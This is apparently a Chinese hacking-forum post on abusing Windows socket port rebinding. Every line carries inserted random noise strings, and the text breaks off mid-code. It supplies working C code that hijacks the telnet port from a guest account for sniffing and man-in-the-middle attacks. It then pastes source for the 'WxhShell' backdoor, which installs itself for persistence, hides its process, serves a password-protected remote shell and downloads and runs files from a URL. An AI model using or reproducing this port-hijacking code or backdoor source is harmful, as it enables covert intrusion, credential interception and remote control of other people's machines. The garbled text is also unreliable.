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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H#~gx_^U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  Y~WdN<g  
C#kE{Qw10r  
  saddr.sin_family = AF_INET; >>y`ap2%V  
n m-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ABN4kM>%  
566!T_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Xp:A;i9  
b=,B Le\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gV2vwe  
C!j3@EZ$  
  这意味着什么?意味着可以进行如下的攻击: ?woL17Gt  
~_\Ra%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;W,* B.~  
srVWN:uuH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2dD" ^z{  
?zW'Hi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >)kKP8l7  
0D(8-H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &C9IR,&  
AxH;psj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j3Od7bBS]  
a*P v^Np-v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1bFZyD"  
M|(VM=~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OrkcY39"~a  
gP% <<yl  
  #include oGcgd$%ZB  
  #include yKML{N1D  
  #include 9xQ|Uad+%  
  #include    w <r*&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   TGJz[Ny  
  int main() .I`>F/Sjr  
  { opfnIkCe  
  WORD wVersionRequested; La ?A@SD  
  DWORD ret; G*=HjLmZg  
  WSADATA wsaData; {sw|bLo|+  
  BOOL val; 8-;.Ejz!\A  
  SOCKADDR_IN saddr; dn h qg3Y  
  SOCKADDR_IN scaddr; EXSH{P O+  
  int err; OX;bA^+}P  
  SOCKET s; fzJiW@-T  
  SOCKET sc; $O|Xq7dp  
  int caddsize; C6e5*S  
  HANDLE mt; K_M Ed1l  
  DWORD tid;   Z\0wQ;}  
  wVersionRequested = MAKEWORD( 2, 2 ); 7J9<B5U  
  err = WSAStartup( wVersionRequested, &wsaData ); ^tTM 7  
  if ( err != 0 ) { {MtJP:8Jp  
  printf("error!WSAStartup failed!\n"); \;XJ$~>  
  return -1; #66i!}  
  } `Am|9LOT  
  saddr.sin_family = AF_INET; %p\ ~  
   xhALJfv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;1~n|IY  
*$cx7yJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IR"C?  
  saddr.sin_port = htons(23); TFHYB9vV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $}4ao2  
  { zW`Hqt;  
  printf("error!socket failed!\n"); e\}@w1  
  return -1; l(1.Ll  
  } LDegJer-v  
  val = TRUE; Lq3<&$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /K2[`+-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X[/7vSqZ@w  
  { -medD G  
  printf("error!setsockopt failed!\n"); !}} )f/  
  return -1; I*3 >>VN  
  } SEnr"}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V1,p<>9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 iklZ[G%A0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I`+,I`~u  
 3B]E2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0`pCgF  
  { A#`$#CO  
  ret=GetLastError(); #)L}{mHLM-  
  printf("error!bind failed!\n"); `)$G}7cRUH  
  return -1; }x|q*E\  
  } O\!'Ds+gX  
  listen(s,2); X+{brvM<  
  while(1) %4R1rUrgt|  
  { ; P<h 9(  
  caddsize = sizeof(scaddr); sMLXn]m  
  //接受连接请求 "kFNOyj3\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M:.+^.h  
  if(sc!=INVALID_SOCKET) Ze/\IBd  
  { fJNK@F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3{qB<*!p"G  
  if(mt==NULL) h}tC +_"D  
  { 60n>FQ<  
  printf("Thread Creat Failed!\n"); /)RH-_63  
  break; W9} ,f  
  } @8w[Zo~  
  } xxg/vaQt=s  
  CloseHandle(mt); 8,F|*YA  
  } KL!cPnAUu  
  closesocket(s); ?x 0gI   
  WSACleanup(); '5Kj "aD%  
  return 0; Qe!3ae`Z  
  }   HNc/p4z  
  DWORD WINAPI ClientThread(LPVOID lpParam) y5KeUMcu  
  { 0nBDF79  
  SOCKET ss = (SOCKET)lpParam; d"E3ypPK  
  SOCKET sc; a;Pn.@NVq  
  unsigned char buf[4096]; Z0v?3v}9^  
  SOCKADDR_IN saddr; >S0kiGDV{  
  long num; 2( I4h[  
  DWORD val; _u;pD-  
  DWORD ret; 7;Lv_Y"b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1he5Zevm}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B#`'h~(7  
  saddr.sin_family = AF_INET; .x] pJ9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -{C Gn5]_#  
  saddr.sin_port = htons(23); [n&ES\o#(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dk$<fMS,7c  
  { Tb;,t=;u  
  printf("error!socket failed!\n"); 8QL=%Pv  
  return -1; _NwHT`O[  
  } \Wg_ gA  
  val = 100; ;; {K##^l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q7_Ttjn-DV  
  { 0s{7=Ef  
  ret = GetLastError(); 2A";o E  
  return -1; (C uM*-  
  } G9am}qr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D@.qdRc3  
  { |N)),/R_  
  ret = GetLastError(); fI<d&5&g  
  return -1; 3O Ks?i3A  
  } %,<Ki]F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @TXLg2  
  { b$Dh|-8  
  printf("error!socket connect failed!\n"); vGPsjxk&  
  closesocket(sc); nN-S5?X#  
  closesocket(ss);  \G)F*  
  return -1; -])=\n!=  
  } uM,Ps}  
  while(1) }a9G,@:k  
  { i'>5vU0?3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xYW &Mfka  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ok\X%avq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `F&~SU,  
  num = recv(ss,buf,4096,0); UuF(n$B  
  if(num>0) dT?3Q;>B?  
  send(sc,buf,num,0); ,p(&G_  
  else if(num==0) q TN)2G  
  break; s0D4K  
  num = recv(sc,buf,4096,0); kcg\f@d$  
  if(num>0) 8 Zp^/43  
  send(ss,buf,num,0); 5E~^-wX  
  else if(num==0) -MTYtw(  
  break; GPL%8 YY  
  } <Up ?w/9  
  closesocket(ss); nu-&vX  
  closesocket(sc); h4F%lGot  
  return 0 ; Qe ip h  
  } 2=0HQXXrq  
IOuqC.RJ}o  
Hk h'h"_r  
========================================================== qnj'*]ysBC  
8,!Oup  
下边附上一个代码,,WXhSHELL btq 4diW  
s<k2vbhI  
========================================================== 650qG$  
/"u37f?[^  
#include "stdafx.h" ^V96l Kt/  
h ! R=t  
#include <stdio.h> p:Lmf8EI  
#include <string.h> P+|L6w*|[  
#include <windows.h> 3+h3?  
#include <winsock2.h> YE{t?Y\5  
#include <winsvc.h> X~JP 1  
#include <urlmon.h> (uDd_@a9t  
[x>Ju&))$  
#pragma comment (lib, "Ws2_32.lib") 5h6o}  
#pragma comment (lib, "urlmon.lib") V8TdtGB.|h  
1nskf*Z  
#define MAX_USER   100 // 最大客户端连接数 )(-;H|]?  
#define BUF_SOCK   200 // sock buffer !@8i(!xb  
#define KEY_BUFF   255 // 输入 buffer tZKw(<am  
[{BY$"b#:  
#define REBOOT     0   // 重启 oR=i5lAU  
#define SHUTDOWN   1   // 关机 Kmx^\vDs  
Em@:Qm EN  
#define DEF_PORT   5000 // 监听端口 ^sLx3a  
.)!QsBU  
#define REG_LEN     16   // 注册表键长度 !#O [RS  
#define SVC_LEN     80   // NT服务名长度 ;t\h"K<,|  
k<^M >` $  
// 从dll定义API 4.jRTL5-oj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PKSfu++Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "yaxHd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AT~,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p#ar`-vQ  
\{lv~I  
// wxhshell配置信息 "/i$_vl  
struct WSCFG { ~dRstH7u  
  int ws_port;         // 监听端口 UDg' s  
  char ws_passstr[REG_LEN]; // 口令 d-UeItyW*  
  int ws_autoins;       // 安装标记, 1=yes 0=no PWpt\g  
  char ws_regname[REG_LEN]; // 注册表键名 ([u|j  
  char ws_svcname[REG_LEN]; // 服务名 Z,38eQpM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :BF? r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "+"=iwEAz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3N+lWuE}K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kk3^m1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p%"dYH%]&0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fr8GGN~/  
s3Vb2C*  
}; ~ y!'\d>q<  
6@J=n@J$p  
// default Wxhshell configuration -Ks>s  
struct WSCFG wscfg={DEF_PORT, \beO5]KS<  
    "xuhuanlingzhe", H,!xTy"Wh  
    1, fSuykbZ  
    "Wxhshell", ' [ 4;QYw  
    "Wxhshell", M<fhQJ  
            "WxhShell Service", Wp=3heCa6  
    "Wrsky Windows CmdShell Service", f&^(f1WO  
    "Please Input Your Password: ", +T+@g8S  
  1, \2i7\U  
  "http://www.wrsky.com/wxhshell.exe", )u)=@@k21  
  "Wxhshell.exe" V)`2 Kw  
    }; @p+;iS1}  
xAQtX=FoX+  
// 消息定义模块  }vd*eexA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <\aeC2~M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g{65QP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \c=I!<9  
char *msg_ws_ext="\n\rExit."; S\ k<  
char *msg_ws_end="\n\rQuit."; 200yN+ec  
char *msg_ws_boot="\n\rReboot..."; k9^Hmhjw  
char *msg_ws_poff="\n\rShutdown..."; 2@&r!Q|1vR  
char *msg_ws_down="\n\rSave to "; g`7XE  
:d36oiHKu  
char *msg_ws_err="\n\rErr!"; z$32rt8{`v  
char *msg_ws_ok="\n\rOK!"; =l ,P'E  
6OES'3Cy  
char ExeFile[MAX_PATH]; _'u]{X\k{J  
int nUser = 0; tZrc4$D-  
HANDLE handles[MAX_USER]; p\6cpf  
int OsIsNt; d2 ^}ooE  
o`?rj!\  
SERVICE_STATUS       serviceStatus; H"C'<(4*\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xvr5$x|h  
@fL ^I&++  
// 函数声明 -EjXVn! vQ  
int Install(void); yzA05npTl  
int Uninstall(void); fV(3RG  
int DownloadFile(char *sURL, SOCKET wsh); iHK~?qd}  
int Boot(int flag); c8qr-x1HG  
void HideProc(void); y}Ky<%A!P  
int GetOsVer(void); ) nfoDG#O  
int Wxhshell(SOCKET wsl); !QUY (  
void TalkWithClient(void *cs); ,g`%+s7u  
int CmdShell(SOCKET sock); 8s%/5v"  
int StartFromService(void); z`y9<+  
int StartWxhshell(LPSTR lpCmdLine); B~Q-V&@o  
"cH RGJG#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gn]36~)*H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [\uR3$j#  
g(DD8;]w<  
// 数据结构和表定义 .=_p6_G  
SERVICE_TABLE_ENTRY DispatchTable[] = o<2GtF1"o  
{ SGd]o"VF  
{wscfg.ws_svcname, NTServiceMain}, uGKjZi  
{NULL, NULL} ;`9f<d#\  
}; Otn,UoeeB  
aD/Rr3v>  
// 自我安装 r;cDYg  
int Install(void) k15vs  
{ K,f:X g!:  
  char svExeFile[MAX_PATH]; ]AP1+ &9fN  
  HKEY key; #XV=,81w  
  strcpy(svExeFile,ExeFile); ?5|;3N/zt  
:d mE/Tq  
// 如果是win9x系统,修改注册表设为自启动 E'5*w6  
if(!OsIsNt) { BT_]=\zi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~{c ?-qb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?M2(8 0  
  RegCloseKey(key); xQ?>72grP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <sdgL+&1h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )!y>2$20 r  
  RegCloseKey(key); R^Rc!G}  
  return 0; >hKsj{=R7  
    } z,HhSW?&^  
  } Jx*cq;`Vee  
} V>$( N/1  
else { <Ij!x`MS+  
-K"'F`;W  
// 如果是NT以上系统,安装为系统服务 vwR_2u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CjdM*#9lW  
if (schSCManager!=0) ROO*/OOd  
{ :}Jx  
  SC_HANDLE schService = CreateService =;Id["+  
  ( B415{  
  schSCManager, LZ9IE>sj  
  wscfg.ws_svcname, an?g'8! r:  
  wscfg.ws_svcdisp, 4gm(gY>[  
  SERVICE_ALL_ACCESS, #`Et{6W S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pQxi0/dp  
  SERVICE_AUTO_START, "Zicac@N  
  SERVICE_ERROR_NORMAL, QeAkuqT'[  
  svExeFile, W/R-~C e  
  NULL, _bq2h%G=8  
  NULL, z3}4 +~~  
  NULL, 2|^bDg;W+u  
  NULL, |7T!rnr  
  NULL [+y/qx79  
  ); P(r}<SM  
  if (schService!=0) ? Kn~fs8  
  { ^coJ"[D  
  CloseServiceHandle(schService); ]+S.#x`#  
  CloseServiceHandle(schSCManager); aKCXV[PO   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >&9Iy"  
  strcat(svExeFile,wscfg.ws_svcname); {z%%(,I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2? 7a\s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); : XZ  
  RegCloseKey(key); c~Hq.K$d  
  return 0; 5B( r[Ni b  
    } }%rz"kB  
  } (5N&bh`E  
  CloseServiceHandle(schSCManager); |5,q54d(K  
} R\=y/tw0H  
} m[u 6<C  
r).S/  
return 1; Z,,Wo %)o  
} sOW-GWSE<  
m5LP~Gb  
// 自我卸载 D`.CXFI+U  
int Uninstall(void) gGdZ}9  
{ VG\ER}s&P  
  HKEY key; U=%S6uL\bx  
)5X7|*LP  
if(!OsIsNt) { \d%SC<s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z{^XU"yB  
  RegDeleteValue(key,wscfg.ws_regname); PHD$E s  
  RegCloseKey(key); i@_|18F]`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *Qg/W? "m  
  RegDeleteValue(key,wscfg.ws_regname); :/Nz' n  
  RegCloseKey(key); 4Kt?; y ;  
  return 0; 37!}8  
  } Xf9VW}`*8  
} z0Gh |N@)  
} Q_1EAxt  
else { h_d!G+-]  
d|6*1hby  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )r1Z}X(#d  
if (schSCManager!=0) K#";!  
{ ( {zp$P}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e[n T'e  
  if (schService!=0) c#`Z[  
  { P67r+P,  
  if(DeleteService(schService)!=0) { Khw!+!(H  
  CloseServiceHandle(schService); fwxyZBr  
  CloseServiceHandle(schSCManager); '(u[  
  return 0; .f&,~$e4  
  } Jp5~iC2d  
  CloseServiceHandle(schService); Vv=d*  
  } }(TZ}* d  
  CloseServiceHandle(schSCManager); 7,jh44(\=  
} 6z=:x+m  
} -\>Bphu,y  
0R*  
return 1; eVbHPu4  
} a50{gb#  
Z^`>;n2  
// 从指定url下载文件 D 7H$!(F>  
int DownloadFile(char *sURL, SOCKET wsh) XRj<2U 5  
{ Z10#6v  
  HRESULT hr; 'ei9* 4y  
char seps[]= "/"; "2qp-'^[c  
char *token; &Cdk%@Tj]B  
char *file; [al$7R&  
char myURL[MAX_PATH]; |{Z?a^- NJ  
char myFILE[MAX_PATH]; $N5}N\C:a  
W)w@ju$Ko  
strcpy(myURL,sURL); ]X4A)%i  
  token=strtok(myURL,seps); H-0A&oG  
  while(token!=NULL) T3)/?f?|  
  { w]F(o  
    file=token; QSEf  
  token=strtok(NULL,seps); z+NXD4  
  } -5d8j<,  
EQz`o+  
GetCurrentDirectory(MAX_PATH,myFILE); m/%sBw\rx  
strcat(myFILE, "\\"); 8KT|ixs  
strcat(myFILE, file); !}Cd_tj6  
  send(wsh,myFILE,strlen(myFILE),0); I6'U[)%  
send(wsh,"...",3,0); z)yxz:E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S#_i<u$$  
  if(hr==S_OK) qS|bpC0x  
return 0; |z Gwt Z  
else .0cm mpUNq  
return 1; B.;/N220P  
.P9ALJP(b  
} ZVVK:d Dgt  
J/M1#sE  
// 系统电源模块 ^zO%O653  
int Boot(int flag) \O^b|0zc  
{ s==gjA e:  
  HANDLE hToken; %#yCp2  
  TOKEN_PRIVILEGES tkp; ul>$vUbyf  
{1>V~e8t  
  if(OsIsNt) { 9L]x9lI;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $F`jM/B6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pj8s;#~u  
    tkp.PrivilegeCount = 1; aYkm]w;C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |k{?\(h;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gnr]qxL  
if(flag==REBOOT) { IO/2iSbW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O+@"l$;N  
  return 0; ~}z{RE($v  
} `QC{}Oo^  
else { ,[D,G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U z>5!_  
  return 0; W r );A{  
} sF C&DTb?  
  } S92'\2  
  else { 6I.N:)=  
if(flag==REBOOT) { PnJr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ultx|qU  
  return 0; t IdH?x  
} &$.Vi&{.  
else { u 3wF)B{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !t3)j>h:  
  return 0; {  KE[8n  
} vHZw{'5y  
} MGCwT@P  
72GXgah  
return 1; :CV!:sUm  
} 7v}4 Pl,$4  
is}o5\JEL  
// win9x进程隐藏模块 h6c8hp.  
void HideProc(void) Ua#*kTF  
{ yb2*K+Kv  
Is` S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1 M7=*w,  
  if ( hKernel != NULL ) y, tA~  
  { w;vp X>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ps[TiW{q;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8)&H=#E  
    FreeLibrary(hKernel); s1<_=sfnT  
  } c>{6NSS -  
E1_FK1*V;  
return; [aU#"k)M  
} %;(+s7  
!g e,]@/  
// 获取操作系统版本 S])YU?e  
int GetOsVer(void) 6*Qn9Q%p-  
{ sTU]ntoQqR  
  OSVERSIONINFO winfo; CsS0(n(x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l"p%]\tZ  
  GetVersionEx(&winfo); eC%.xu^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %4Ylq|d  
  return 1; k[R/RhHQ,  
  else }r3, fH  
  return 0; Pk T&zSQA  
} jb$sIZ%i  
"?Wwc d\  
// 客户端句柄模块 N6=cqUM wt  
int Wxhshell(SOCKET wsl) B9KY$^J  
{ 1 h|cr_  
  SOCKET wsh; UTc$zc7  
  struct sockaddr_in client; VV)PSodb  
  DWORD myID; FjRJSMwO,  
E&}r"rbI  
  while(nUser<MAX_USER) 17tph;  
{ {H#1wu^]O$  
  int nSize=sizeof(client); .*:SZ3v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m=Y9sB  
  if(wsh==INVALID_SOCKET) return 1; qEX2K^y'4"  
aDb@u3X@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9~I\WjB "  
if(handles[nUser]==0) 8)ZWR3)+W  
  closesocket(wsh); RQWVjF#  
else YR'?fr  
  nUser++; iaQ[}'6!$  
  } I: U/%cr,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5)' _3r  
F8Z<JcOI  
  return 0; ~0w7E0DE[  
} ,w; ~R4x  
cR}}NF  
// 关闭 socket 'C+z  
void CloseIt(SOCKET wsh) {/uBZ(   
{ %eGxQDIXg  
closesocket(wsh); q#LwM]<.@>  
nUser--; YN?@ S  
ExitThread(0); hhlQ!WV2  
} 0){%4  
gn1`ZYg  
// 客户端请求句柄 o+;=C@,'  
void TalkWithClient(void *cs) _s><>LH~  
{ bxyEn'vNvQ  
p^Ca-+R3  
  SOCKET wsh=(SOCKET)cs; X_C9Z  
  char pwd[SVC_LEN]; V"%2Tz  
  char cmd[KEY_BUFF]; }oYR.UH  
char chr[1]; aO.'(kk8  
int i,j; 1 iS9f~  
6#T?g7\pyR  
  while (nUser < MAX_USER) { Jc~^32  
Ky|Hi3?  
if(wscfg.ws_passstr) { )wP0U{7?v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o m`r^3,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |2CW!is  
  //ZeroMemory(pwd,KEY_BUFF); <Xm5re.  
      i=0; ]/p0j$Tq$  
  while(i<SVC_LEN) { B3O^(M5W  
B h@R9O<  
  // 设置超时 Fly@"W4a  
  fd_set FdRead; 8V_ ]}W  
  struct timeval TimeOut; TSdjX]Kf  
  FD_ZERO(&FdRead); j$T2ff6  
  FD_SET(wsh,&FdRead); 75K~ebRr  
  TimeOut.tv_sec=8; #I%< 1c%XA  
  TimeOut.tv_usec=0; d%1S6eYa'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^c< <I-o|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }zRYT_:  
-4,qAnuMx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o%h\55S  
  pwd=chr[0]; t"2WJ-1k}  
  if(chr[0]==0xd || chr[0]==0xa) { 4S  2I]d  
  pwd=0; h?.6e9Y4  
  break; ZgtW  
  } <%JdQ82?  
  i++; `>?\MWyu  
    } 174H@   
9Vzk:zOT  
  // 如果是非法用户,关闭 socket ]WN{8   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [H0jDbN  
} qw%4j9}  
3=t}py7M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H b]    
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3, ,Z  
=)Ew6} W6  
while(1) { VOG DD@  
RduA0@g0  
  ZeroMemory(cmd,KEY_BUFF); uFSgjWJ#~  
GuM-H $,  
      // 自动支持客户端 telnet标准   X-Xf6&Uz  
  j=0; J9/9k  
  while(j<KEY_BUFF) { ?j8CkqX!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .w$v<y6C  
  cmd[j]=chr[0]; 3(^9K2.s}  
  if(chr[0]==0xa || chr[0]==0xd) { |YZ`CN<  
  cmd[j]=0; F__DPEAc_  
  break; l3-Ksw U  
  } }xLwv=Ia  
  j++; S wC,=S  
    } ]a _;*Xq8d  
KT?vs5jg$&  
  // 下载文件 1(q!.lPc  
  if(strstr(cmd,"http://")) { Nj#!L~^h,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oVl:./(IB  
  if(DownloadFile(cmd,wsh)) B'yN &3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a2dF(H  
  else WNm,r>6m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jq.@<<j|$  
  } uAVV4)  
  else { M/UJb1<  
v{JCEb&wN  
    switch(cmd[0]) { Ao{wd1  
  1O(fI|gcO  
  // 帮助 cB -XmX/  
  case '?': { @q^WD_k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ),M8W15  
    break; y;<jE.7>  
  } >IoOCQQ*  
  // 安装 ]t(g7lc}U  
  case 'i': { *:\QD 8^  
    if(Install()) !vImmhI!I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j:<E=[Kl  
    else jS R:ltd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LgBs<2  
    break; OmU.9PDg-  
    } &2QN^)q  
  // 卸载 >{m>&u;Cc  
  case 'r': { dr9I+c7u  
    if(Uninstall()) &p=~=&g=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dZnq 96<:|  
    else q/4PX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "B+M5B0Z  
    break; }O o  
    } _II;$_N  
  // 显示 wxhshell 所在路径 <Xl G:nmY  
  case 'p': { 'BUdySng  
    char svExeFile[MAX_PATH]; 7Kh+m@q.  
    strcpy(svExeFile,"\n\r"); v[Ar{t&  
      strcat(svExeFile,ExeFile); Q@d X2  
        send(wsh,svExeFile,strlen(svExeFile),0); .bpxSU%X  
    break; v{%2`_c  
    } ,j5fzA  
  // 重启 [dt1%DD`M  
  case 'b': { {BKI8vy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0 'L+9T5  
    if(Boot(REBOOT))  \f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OM, uR3,  
    else { XqJ@NgsY  
    closesocket(wsh); Rjh/M`|  
    ExitThread(0); #>>-:?X  
    }  : [AW  
    break; )9@Ftzg|  
    } -ud!j  
  // 关机 6.K)uQgjmv  
  case 'd': { U)c,ZxE  
